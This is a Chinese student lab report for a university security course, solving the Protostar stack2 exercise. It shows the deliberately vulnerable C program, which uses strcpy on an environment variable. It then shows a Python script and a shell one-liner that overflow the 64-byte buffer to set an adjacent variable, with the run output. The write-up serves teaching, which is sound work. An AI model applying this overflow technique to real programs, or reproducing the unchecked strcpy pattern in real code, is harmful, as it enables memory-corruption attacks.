上海交通大学
SHANGHAI JIAO TONG UNIVERSITY

CS3312 Lab Stack2

学号：522031910439　姓名：梁俊轩

2025 年 3 月 12 日

1　代码逻辑和漏洞分析

对源码进行分析, 在 Protostar 官网可以看到 stack2 的 C 语言源代码：

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}
```

首先运行一下程序：

```
root@protostar:/opt/protostar/bin# export GREENIE=abcd
root@protostar:/opt/protostar/bin# echo $GREENIE
abcd
root@protostar:/opt/protostar/bin# ./stack2
Try again, you got 0x00000000
```

图 1　运行结果

将 GREENIE 设置为 abcd, 此时 modified 为 0，因此跳转到 Try again 的分支。对源码进行分析后

可以得知，相比 Stack0 和 Stack1，多出了一个环境变量 variable，使用 strcpy 将 variable 的内容复制到 buffer。

程序使用 strcpy 函数将从环境变量中读取到的字符串拷贝到缓冲区中。由于没有对输入进行任何过滤或检查，因此可能存在缓冲区溢出的风险。

该程序的漏洞在于没有对从环境变量中读取的字符串长度进行限制，因此可能存在缓冲区溢出的风险。

此时 modified 的值要为 0x0d0a0d0a，因此我们可以构造一个输入，其为 64 个'A' 加上"0x0a0d0a0d"，注意的是因为大小端的问题需要调整顺序。

此输入可以用 python 程序来构造：

```
buffer = "A"*64
modified = "\x0a\x0d\x0a\x0d"
padding = buffer + modified
print padding
```

将 python 程序执行结果当作输入，设置为 GREENIE 的值，执行程序：

```
root@protostar:/opt/protostar/bin# export GREENIE=`python s2.py`
root@protostar:/opt/protostar/bin# echo $GREENIE
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
root@protostar:/opt/protostar/bin# ./stack2
you have correctly modified the variable
```

图 2 运行结果

当然也可以直接用命令行的形式来输入，结果也是一样的：

```
root@protostar:/opt/protostar/bin# export GREENIE=`python -c 'print "A"*64+"\x0a\x0d\x0a\x0d"'`
root@protostar:/opt/protostar/bin# echo $GREENIE
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
root@protostar:/opt/protostar/bin# ./stack2
you have correctly modified the variable
root@protostar:/opt/protostar/bin#
```

图 3 运行结果